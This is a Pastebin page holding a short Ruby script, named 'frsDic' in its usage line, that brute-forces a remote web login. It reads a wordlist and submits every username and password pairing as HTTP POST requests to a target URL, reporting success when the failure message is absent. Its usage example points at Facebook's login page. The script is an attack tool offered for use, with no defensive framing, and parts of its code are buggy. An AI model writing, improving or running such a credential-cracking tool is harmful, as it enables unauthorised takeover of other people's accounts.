Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- require 'net/http'
- def getNumberOfCombinations(file)
- count = 0
- filename = File.open(file, "r")
- filename.each_line do |line|
- count += 1
- end
- return count * count
- end
- def checkFileExistance(filename)
- if File.exist?filename
- return true
- end
- puts("Your file must exist!")
- return false
- end
- def checkUsage(post_request)
- if ARGV.length != 3 or !post_request.include?":"
- print("Usage: ruby frsDic <wordlist> <url> <postrequest>\nExample: ruby frsDic words.txt www.facebook.com/login.php <'postparameter&postparemeter:Case of failure message'>")
- return false
- end
- return true
- end
- def crackRemotePassword()
- postrequest = ARGV[2]
- filename = ARGV[0]
- if !checkUsage(postrequest)
- return false
- end
- if !checkFileExistance(filename)
- return false
- end
- postArray = Array.new
- uri = URI(ARGV[1])
- file = IO.readlines(filename)
- delimiters = ["&", ":"]
- currentComb = 0
- postArray = postrequest.split(Regexp.union(delimiters))
- x = 0
- y = 0
- numberOfCombinations = getNumberOfCombinations(filename)
- puts("Cracking with: " + numberOfCombinations.to_s + " possible combinations")
- postThread = Thread.new do
- loop do
- username = file[y].delete("\n")
- password = file[x].delete("\n")
- if postArray.length == 4
- begin
- response = Net::HTTP.post_form(uri, {postArray[0] => username, postArray[1] => password, postArray[2] => "submit"})
- if response.body.include?postArray[3]
- print("[*]ATTEMPT number: " + currentComb + "out of: " + numberOfCombinations + " " + username + " " + password + " FAILED")
- else
- print("[*]ATTEMPT number: " + currentComb + "out of: " + numberOfCombinations + " " + username + " " + password + " SUCCEEDED!")
- break
- end
- y += 1
- currentComb += 1
- if file[y] == file[file.length]
- y = 0
- x += 1
- end
- if file[x] == file[file.length]
- print("Coulnd't crack account...\n")
- break
- end
- rescue
- unless response.kind_of?Net::HTTPSuccess do
- print("Lost connection. Re-establishing connection")
- response = Net::HTTP.post_form(uri, {postArray[0] => username, postArray[1] => password, postArray[3] => "submit"})
- end
- end
- end
- end
- end
- end
- postThread.join
- end
- crackRemotePassword()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement